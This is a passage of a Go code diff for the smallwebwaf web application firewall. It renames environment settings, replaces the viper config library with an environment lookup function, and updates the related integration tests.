|
cutOffAfter = 5 * time.Second
|
||||||
upstreamSetting = "SWW_RPROXY_UPSTREAM_URL"
|
upstreamSetting = "SWRP_UPSTREAM_URL"
|
||||||
)
|
)
|
||||||
|
|
||||||
asked := make(chan struct{})
|
asked := make(chan struct{})
|
||||||
@@ -856,8 +858,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
|
|||||||
}{
|
}{
|
||||||
{"no backend", wafBackend, nil},
|
{"no backend", wafBackend, nil},
|
||||||
{
|
{
|
||||||
"another invalid", wafBackendTimeout,
|
"another invalid", rproxyTimeout,
|
||||||
map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"},
|
map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
@@ -909,7 +911,7 @@ func TestRProxyAddressInUseStopsTheStart(t *testing.T) {
|
|||||||
t.Errorf("exit status %d, want 1", status)
|
t.Errorf("exit status %d, want 1", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
out.line(t, "msg", "cannot listen on SWW_RPROXY_LISTEN_ADDR")
|
out.line(t, "msg", "cannot listen on SWRP_LISTEN_ADDR")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMainRunsRProxy(t *testing.T) {
|
func TestMainRunsRProxy(t *testing.T) {
|
||||||
|
|||||||
+23
-26
@@ -20,8 +20,6 @@ import (
|
|||||||
"syscall"
|
"syscall"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/spf13/viper"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
@@ -40,7 +38,7 @@ import (
|
|||||||
const shutdownTimeout = 5 * time.Second
|
const shutdownTimeout = 5 * time.Second
|
||||||
|
|
||||||
// remoteLogStopTimeout is how long, as waf stops, the log lines still
|
// remoteLogStopTimeout is how long, as waf stops, the log lines still
|
||||||
// waiting are sent to SWW_WAF_LOG_REMOTE_URL before they are given up. stdout has
|
// waiting are sent to SWW_LOG_REMOTE_URL before they are given up. stdout has
|
||||||
// carried them.
|
// carried them.
|
||||||
const remoteLogStopTimeout = 2 * time.Second
|
const remoteLogStopTimeout = 2 * time.Second
|
||||||
|
|
||||||
@@ -61,9 +59,8 @@ commands:
|
|||||||
type Params struct {
|
type Params struct {
|
||||||
// Version is the version of the binary, set when it is built.
|
// Version is the version of the binary, set when it is built.
|
||||||
Version string
|
Version string
|
||||||
// Viper reads the settings, normally the viper config.NewViper returns
|
// LookupEnv reads an environment variable, normally os.LookupEnv.
|
||||||
// for the process's environment.
|
LookupEnv func(string) (string, bool)
|
||||||
Viper *viper.Viper
|
|
||||||
// Stdout receives the request log and the process's own messages.
|
// Stdout receives the request log and the process's own messages.
|
||||||
Stdout io.Writer
|
Stdout io.Writer
|
||||||
}
|
}
|
||||||
@@ -84,7 +81,7 @@ func Main(version string) int {
|
|||||||
|
|
||||||
params := Params{
|
params := Params{
|
||||||
Version: version,
|
Version: version,
|
||||||
Viper: config.NewViper(),
|
LookupEnv: os.LookupEnv,
|
||||||
Stdout: os.Stdout,
|
Stdout: os.Stdout,
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -94,7 +91,7 @@ func Main(version string) int {
|
|||||||
case "waf":
|
case "waf":
|
||||||
return RunWAF(ctx, params)
|
return RunWAF(ctx, params)
|
||||||
case "healthcheck":
|
case "healthcheck":
|
||||||
return HealthCheck(ctx, args[1:], params.Viper, os.Stderr)
|
return HealthCheck(ctx, args[1:], os.LookupEnv, os.Stderr)
|
||||||
default:
|
default:
|
||||||
return printUsage(os.Stderr)
|
return printUsage(os.Stderr)
|
||||||
}
|
}
|
||||||
@@ -112,16 +109,16 @@ func printUsage(w io.Writer) int {
|
|||||||
// ctx is done. It returns the process's exit status, 1 when waf cannot start.
|
// ctx is done. It returns the process's exit status, 1 when waf cannot start.
|
||||||
func RunWAF(ctx context.Context, params Params) int {
|
func RunWAF(ctx context.Context, params Params) int {
|
||||||
// Until the settings are read, the one message is an invalid setting's
|
// Until the settings are read, the one message is an invalid setting's
|
||||||
// error, which every SWW_WAF_LOG_LEVEL lets through.
|
// error, which every SWW_LOG_LEVEL lets through.
|
||||||
processLog := requestlog.NewProcessLogger(params.Stdout,
|
processLog := requestlog.NewProcessLogger(params.Stdout,
|
||||||
config.InstanceName(params.Viper), slog.LevelError)
|
config.InstanceName(params.LookupEnv), slog.LevelError)
|
||||||
|
|
||||||
cfg, err := config.WAFFromEnvironment(params.Viper)
|
cfg, err := config.FromEnvironment(params.LookupEnv)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return cannotStart(processLog, "invalid setting", err)
|
return cannotStart(processLog, "invalid setting", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// While SWW_WAF_LOG_REMOTE_URL is set, every line on stdout from here on
|
// While SWW_LOG_REMOTE_URL is set, every line on stdout from here on
|
||||||
// is sent there too.
|
// is sent there too.
|
||||||
stdout := params.Stdout
|
stdout := params.Stdout
|
||||||
|
|
||||||
@@ -155,11 +152,11 @@ func RunWAF(ctx context.Context, params Params) int {
|
|||||||
|
|
||||||
// runWAFWithSettings is the rest of RunWAF once the settings are read and
|
// runWAFWithSettings is the rest of RunWAF once the settings are read and
|
||||||
// the process log goes where they say. remote is nil unless
|
// the process log goes where they say. remote is nil unless
|
||||||
// SWW_WAF_LOG_REMOTE_URL is set.
|
// SWW_LOG_REMOTE_URL is set.
|
||||||
func runWAFWithSettings(
|
func runWAFWithSettings(
|
||||||
ctx context.Context,
|
ctx context.Context,
|
||||||
version string,
|
version string,
|
||||||
cfg *config.WAF,
|
cfg *config.Config,
|
||||||
stdout io.Writer,
|
stdout io.Writer,
|
||||||
remote *remotelog.Sender,
|
remote *remotelog.Sender,
|
||||||
processLog *slog.Logger,
|
processLog *slog.Logger,
|
||||||
@@ -170,8 +167,8 @@ func runWAFWithSettings(
|
|||||||
alertQueue := newAlertQueue(cfg, now, processLog)
|
alertQueue := newAlertQueue(cfg, now, processLog)
|
||||||
|
|
||||||
ruleFiles, err := rules.Load(rules.Params{
|
ruleFiles, err := rules.Load(rules.Params{
|
||||||
Dir: cfg.RuleFilesDir,
|
Dir: cfg.RulesDir,
|
||||||
Enabled: cfg.RuleFilesEnabled,
|
Enabled: cfg.RulesEnabled,
|
||||||
ProcessLog: processLog,
|
ProcessLog: processLog,
|
||||||
Alerts: alertQueue,
|
Alerts: alertQueue,
|
||||||
})
|
})
|
||||||
@@ -214,7 +211,7 @@ func runWAFWithSettings(
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return cannotStart(
|
return cannotStart(
|
||||||
processLog,
|
processLog,
|
||||||
"cannot listen on SWW_WAF_LISTEN_ADDR",
|
"cannot listen on SWW_LISTEN_ADDR",
|
||||||
err,
|
err,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
@@ -243,10 +240,10 @@ func cannotStart(processLog *slog.Logger, message string, err error) int {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// newServer returns the server waf runs, with the metrics of the alerts,
|
// newServer returns the server waf runs, with the metrics of the alerts,
|
||||||
// after reading the lookup database while SWW_WAF_LOOKUP_SOURCE is file. A lookup
|
// after reading the lookup database while SWW_LOOKUP_SOURCE is file. A lookup
|
||||||
// database that cannot be read is an error.
|
// database that cannot be read is an error.
|
||||||
func newServer(
|
func newServer(
|
||||||
cfg *config.WAF, stdout io.Writer, processLog *slog.Logger,
|
cfg *config.Config, stdout io.Writer, processLog *slog.Logger,
|
||||||
now func() time.Time, ruleFiles *rules.Files, alertQueue *alerts.Queue,
|
now func() time.Time, ruleFiles *rules.Files, alertQueue *alerts.Queue,
|
||||||
crs *coreruleset.CoreRuleSet,
|
crs *coreruleset.CoreRuleSet,
|
||||||
) (*waf.Server, error) {
|
) (*waf.Server, error) {
|
||||||
@@ -293,14 +290,14 @@ func newServer(
|
|||||||
// loadStateFiles reads the state and cache files into the parts of server and
|
// loadStateFiles reads the state and cache files into the parts of server and
|
||||||
// into alertQueue, as state.Load does.
|
// into alertQueue, as state.Load does.
|
||||||
func loadStateFiles(
|
func loadStateFiles(
|
||||||
cfg *config.WAF, server *waf.Server, alertQueue *alerts.Queue,
|
cfg *config.Config, server *waf.Server, alertQueue *alerts.Queue,
|
||||||
now func() time.Time, processLog *slog.Logger,
|
now func() time.Time, processLog *slog.Logger,
|
||||||
) (*state.Files, error) {
|
) (*state.Files, error) {
|
||||||
return state.Load(state.Params{
|
return state.Load(state.Params{
|
||||||
Dir: cfg.StateDir,
|
Dir: cfg.StateDir,
|
||||||
CacheDir: cfg.CacheDir,
|
CacheDir: cfg.CacheDir,
|
||||||
BansWriteDelay: cfg.BansWriteDelay,
|
WriteDelay: cfg.StateWriteDelay,
|
||||||
WriteInterval: cfg.StateWriteInterval,
|
CounterInterval: cfg.StateCounterInterval,
|
||||||
Ledger: server.Ledger,
|
Ledger: server.Ledger,
|
||||||
Limiter: server.Limiter,
|
Limiter: server.Limiter,
|
||||||
GeoJS: server.GeoJS,
|
GeoJS: server.GeoJS,
|
||||||
@@ -319,7 +316,7 @@ func loadStateFiles(
|
|||||||
// newAlertQueue returns the queue of the alerts to the webhook, Slack and
|
// newAlertQueue returns the queue of the alerts to the webhook, Slack and
|
||||||
// ntfy, with the settings for them.
|
// ntfy, with the settings for them.
|
||||||
func newAlertQueue(
|
func newAlertQueue(
|
||||||
cfg *config.WAF, now func() time.Time, processLog *slog.Logger,
|
cfg *config.Config, now func() time.Time, processLog *slog.Logger,
|
||||||
) *alerts.Queue {
|
) *alerts.Queue {
|
||||||
return alerts.New(alerts.Params{
|
return alerts.New(alerts.Params{
|
||||||
WebhookURL: cfg.AlertWebhookURL,
|
WebhookURL: cfg.AlertWebhookURL,
|
||||||
@@ -337,12 +334,12 @@ func newAlertQueue(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// newRemoteLogSender returns a sender of the log lines to
|
// newRemoteLogSender returns a sender of the log lines to
|
||||||
// SWW_WAF_LOG_REMOTE_URL, with the settings for it.
|
// SWW_LOG_REMOTE_URL, with the settings for it.
|
||||||
func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender {
|
func newRemoteLogSender(cfg *config.Config) *remotelog.Sender {
|
||||||
return remotelog.New(remotelog.Params{
|
return remotelog.New(remotelog.Params{
|
||||||
URL: cfg.LogRemoteURL,
|
URL: cfg.LogRemoteURL,
|
||||||
RootCAs: cfg.LogRemoteTLSCAs,
|
RootCAs: cfg.LogRemoteTLSCAs,
|
||||||
BufferLines: cfg.LogRemoteBufferLines,
|
Buffer: cfg.LogRemoteBuffer,
|
||||||
Facility: cfg.LogRemoteFacility,
|
Facility: cfg.LogRemoteFacility,
|
||||||
AppName: cfg.LogRemoteAppName,
|
AppName: cfg.LogRemoteAppName,
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
|
|||||||
Scheme: remotelog.SchemeTCP,
|
Scheme: remotelog.SchemeTCP,
|
||||||
Host: "127.0.0.1:65536",
|
Host: "127.0.0.1:65536",
|
||||||
},
|
},
|
||||||
BufferLines: 1,
|
Buffer: 1,
|
||||||
})
|
})
|
||||||
|
|
||||||
stopSending := startSending(t.Context(), sender,
|
stopSending := startSending(t.Context(), sender,
|
||||||
|
|||||||
+113
-121
@@ -20,7 +20,6 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
|
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/sww"
|
"sneak.berlin/go/smallwebwaf/internal/sww"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
@@ -35,22 +34,22 @@ const (
|
|||||||
testVersion = "test"
|
testVersion = "test"
|
||||||
// localhost is where the tests listen.
|
// localhost is where the tests listen.
|
||||||
localhost = "127.0.0.1"
|
localhost = "127.0.0.1"
|
||||||
listenAddr = "SWW_WAF_LISTEN_ADDR"
|
listenAddr = "SWW_LISTEN_ADDR"
|
||||||
stateDir = "SWW_WAF_STATE_DIR"
|
stateDir = "SWW_STATE_DIR"
|
||||||
bansWriteDelay = "SWW_WAF_BANS_WRITE_DELAY"
|
stateWriteDelay = "SWW_STATE_WRITE_DELAY"
|
||||||
stateWriteInterval = "SWW_WAF_STATE_WRITE_INTERVAL"
|
stateCounterInterval = "SWW_STATE_COUNTER_INTERVAL"
|
||||||
cacheDir = "SWW_WAF_CACHE_DIR"
|
cacheDir = "SWW_CACHE_DIR"
|
||||||
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
|
||||||
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
|
||||||
ruleFilesDir = "SWW_WAF_RULE_FILES_DIR"
|
rulesDir = "SWW_RULES_DIR"
|
||||||
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
lookupSource = "SWW_LOOKUP_SOURCE"
|
||||||
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
lookupDBPath = "SWW_LOOKUP_DB_PATH"
|
||||||
instanceName = "SWW_WAF_INSTANCE_NAME"
|
instanceName = "SWW_INSTANCE_NAME"
|
||||||
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||||
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
|
metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||||
// adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set.
|
// adminSecret is the SWW_ADMIN_TOKEN the tests set.
|
||||||
adminSecret = "fedcba9876543210fedcba9876543210"
|
adminSecret = "fedcba9876543210fedcba9876543210"
|
||||||
// instance is the SWW_WAF_INSTANCE_NAME the tests set where they look at
|
// instance is the SWW_INSTANCE_NAME the tests set where they look at
|
||||||
// it.
|
// it.
|
||||||
instance = "fsn1app1/blog"
|
instance = "fsn1app1/blog"
|
||||||
// greeting is what the tests' app answers.
|
// greeting is what the tests' app answers.
|
||||||
@@ -155,23 +154,25 @@ func (o *output) text() string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// run runs `sww waf` with the settings in env until ctx is done,
|
// run runs `sww waf` with the settings in env until ctx is done,
|
||||||
// and returns its exit status. SWW_WAF_LOOKUP_SOURCE is off unless env sets it,
|
// and returns its exit status. SWW_LOOKUP_SOURCE is off unless env sets it,
|
||||||
// so that no test sends GeoJS its clients' addresses.
|
// so that no test sends GeoJS its clients' addresses.
|
||||||
func run(ctx context.Context, env map[string]string, out *output) int {
|
func run(ctx context.Context, env map[string]string, out *output) int {
|
||||||
v := configtest.Viper(env)
|
|
||||||
if _, set := env["SWW_WAF_LOOKUP_SOURCE"]; !set {
|
|
||||||
v.Set("SWW_WAF_LOOKUP_SOURCE", "off")
|
|
||||||
}
|
|
||||||
|
|
||||||
// The cache files go beside the state files unless the test says
|
|
||||||
// otherwise.
|
|
||||||
if _, set := env[cacheDir]; !set && env[stateDir] != "" {
|
|
||||||
v.Set(cacheDir, env[stateDir])
|
|
||||||
}
|
|
||||||
|
|
||||||
return sww.RunWAF(ctx, sww.Params{
|
return sww.RunWAF(ctx, sww.Params{
|
||||||
Version: testVersion,
|
Version: testVersion,
|
||||||
Viper: v,
|
LookupEnv: func(name string) (string, bool) {
|
||||||
|
value, ok := env[name]
|
||||||
|
if !ok && name == "SWW_LOOKUP_SOURCE" {
|
||||||
|
return "off", true
|
||||||
|
}
|
||||||
|
|
||||||
|
// The cache files go beside the state files unless the test
|
||||||
|
// says otherwise.
|
||||||
|
if !ok && name == cacheDir {
|
||||||
|
return env[stateDir], env[stateDir] != ""
|
||||||
|
}
|
||||||
|
|
||||||
|
return value, ok
|
||||||
|
},
|
||||||
Stdout: out,
|
Stdout: out,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -182,7 +183,7 @@ func TestInvalidSettingStopsTheStart(t *testing.T) {
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(t.Context(), map[string]string{
|
status := run(t.Context(), map[string]string{
|
||||||
"SWW_WAF_BYTES_LIMIT_PER_MINUTE": "lots",
|
"SWW_BYTES_LIMIT_PER_MINUTE": "lots",
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
@@ -194,7 +195,7 @@ func TestInvalidSettingStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
if line["type"] != "process" || line["instance"] != instance ||
|
if line["type"] != "process" || line["instance"] != instance ||
|
||||||
line["level"] != "ERROR" ||
|
line["level"] != "ERROR" ||
|
||||||
!strings.HasPrefix(message, "SWW_WAF_BYTES_LIMIT_PER_MINUTE: ") {
|
!strings.HasPrefix(message, "SWW_BYTES_LIMIT_PER_MINUTE: ") {
|
||||||
t.Errorf("start refused with %v", line)
|
t.Errorf("start refused with %v", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -248,13 +249,13 @@ func TestAddressInUseStopsTheStart(t *testing.T) {
|
|||||||
status := run(t.Context(), map[string]string{
|
status := run(t.Context(), map[string]string{
|
||||||
listenAddr: taken.Addr().String(),
|
listenAddr: taken.Addr().String(),
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
t.Errorf("exit status %d, want 1", status)
|
t.Errorf("exit status %d, want 1", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
out.line(t, "msg", "cannot listen on SWW_WAF_LISTEN_ADDR")
|
out.line(t, "msg", "cannot listen on SWW_LISTEN_ADDR")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestServesUntilToldToStop(t *testing.T) {
|
func TestServesUntilToldToStop(t *testing.T) {
|
||||||
@@ -270,7 +271,7 @@ func TestServesUntilToldToStop(t *testing.T) {
|
|||||||
exited <- run(ctx, map[string]string{
|
exited <- run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
|
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||||
}, out)
|
}, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
@@ -320,9 +321,9 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
|
|||||||
exited <- run(ctx, map[string]string{
|
exited <- run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_BLOCKLIST_URLS": lists.URL + "/tor.txt",
|
"SWW_BLOCKLIST_URLS": lists.URL + "/tor.txt",
|
||||||
"SWW_WAF_LOG_LEVEL": "warn",
|
"SWW_LOG_LEVEL": "warn",
|
||||||
}, out)
|
}, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
@@ -361,7 +362,7 @@ func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
}
|
}
|
||||||
@@ -398,12 +399,12 @@ func TestStateKeptAcrossRestarts(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
rateLimitPerDay: "2",
|
rateLimitPerDay: "2",
|
||||||
// Neither comes due in the test: the files are written as
|
// Neither comes due in the test: the files are written as
|
||||||
// sww stops.
|
// sww stops.
|
||||||
bansWriteDelay: "1h",
|
stateWriteDelay: "1h",
|
||||||
stateWriteInterval: "1h",
|
stateCounterInterval: "1h",
|
||||||
}
|
}
|
||||||
|
|
||||||
// The two requests a day allows, and a stop.
|
// The two requests a day allows, and a stop.
|
||||||
@@ -429,12 +430,12 @@ func TestStateKeptAcrossRestarts(t *testing.T) {
|
|||||||
func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) {
|
func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const scope = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
|
const scope = "SWW_BAN_SCOPE_V4_PREFIX"
|
||||||
|
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
rateLimitPerDay: "1",
|
rateLimitPerDay: "1",
|
||||||
scope: "24",
|
scope: "24",
|
||||||
}
|
}
|
||||||
@@ -480,11 +481,11 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
// No write comes due in the test, so only the watch on the
|
// No write comes due in the test, so only the watch on the
|
||||||
// directory can take the edits in.
|
// directory can take the edits in.
|
||||||
bansWriteDelay: "1h",
|
stateWriteDelay: "1h",
|
||||||
stateWriteInterval: "1h",
|
stateCounterInterval: "1h",
|
||||||
}
|
}
|
||||||
|
|
||||||
runUntilStopped(t, env, func(url string) {
|
runUntilStopped(t, env, func(url string) {
|
||||||
@@ -510,12 +511,12 @@ func TestBanAddedAndLiftedThroughTheEndpointsKeptInBansJSON(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
adminToken: adminSecret,
|
adminToken: adminSecret,
|
||||||
// Neither comes due in the test: the files are written as
|
// Neither comes due in the test: the files are written as
|
||||||
// sww stops.
|
// sww stops.
|
||||||
bansWriteDelay: "1h",
|
stateWriteDelay: "1h",
|
||||||
stateWriteInterval: "1h",
|
stateCounterInterval: "1h",
|
||||||
}
|
}
|
||||||
|
|
||||||
runUntilStopped(t, env, func(url string) {
|
runUntilStopped(t, env, func(url string) {
|
||||||
@@ -553,10 +554,10 @@ func TestRuleFileAddedWhileRunningTakesEffect(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: dir,
|
rulesDir: dir,
|
||||||
// The requests sent until the rule takes effect must not break a
|
// The requests sent until the rule takes effect must not break a
|
||||||
// rate limit, whose ban would refuse them too.
|
// rate limit, whose ban would refuse them too.
|
||||||
"SWW_WAF_RATE_LIMIT_PER_MINUTE": "off",
|
"SWW_RATE_LIMIT_PER_MINUTE": "off",
|
||||||
}
|
}
|
||||||
|
|
||||||
out := runUntilStopped(t, env, func(url string) {
|
out := runUntilStopped(t, env, func(url string) {
|
||||||
@@ -602,17 +603,13 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRuleFilesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
dir := filepath.Join(t.TempDir(), "rules.d")
|
dir := filepath.Join(t.TempDir(), "rules.d")
|
||||||
|
|
||||||
wantRulesRefused(
|
wantRulesRefused(t, dir, "SWW_RULES_DIR cannot be read: open "+dir+
|
||||||
t,
|
": no such file or directory")
|
||||||
dir,
|
|
||||||
"SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+
|
|
||||||
": no such file or directory",
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
|
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
|
||||||
@@ -624,15 +621,15 @@ func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(t.Context(), map[string]string{
|
status := run(t.Context(), map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
t.Fatalf("exit status %d, want 1", status)
|
t.Fatalf("exit status %d, want 1", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
line := out.line(t, "msg", "cannot use the Core Rule Set")
|
line := out.line(t, "msg", "cannot use the Core Rule Set")
|
||||||
want := "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE: read the exclusions file: open " +
|
want := "SWW_CORE_RULE_SET_EXCLUSIONS_FILE: read the exclusions file: open " +
|
||||||
path + ": no such file or directory"
|
path + ": no such file or directory"
|
||||||
|
|
||||||
if line["error"] != want {
|
if line["error"] != want {
|
||||||
@@ -656,9 +653,8 @@ func TestCoreRuleSetExclusionsFileThatCannotBeUsedStopsTheStartWhileTheCoreRuleS
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(t.Context(), map[string]string{
|
status := run(t.Context(), map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_CORE_RULE_SET_MODE": config.CoreRuleSetModeOff,
|
"SWW_WAF_MODE": config.WAFModeOff, "SWW_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
||||||
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
t.Fatalf("%s: exit status %d, want 1", path, status)
|
t.Fatalf("%s: exit status %d, want 1", path, status)
|
||||||
@@ -679,12 +675,12 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
lookupSource: "file",
|
lookupSource: "file",
|
||||||
lookupDBPath: path,
|
lookupDBPath: path,
|
||||||
"SWW_WAF_TAG_DENY": "country=KP",
|
"SWW_TAG_DENY": "country=KP",
|
||||||
// The requests sent until a replacement takes effect, and those
|
// The requests sent until a replacement takes effect, and those
|
||||||
// for the metrics, must not break a rate limit, whose ban would
|
// for the metrics, must not break a rate limit, whose ban would
|
||||||
// refuse them too.
|
// refuse them too.
|
||||||
@@ -792,10 +788,10 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
|||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
cacheDir: cache,
|
cacheDir: cache,
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
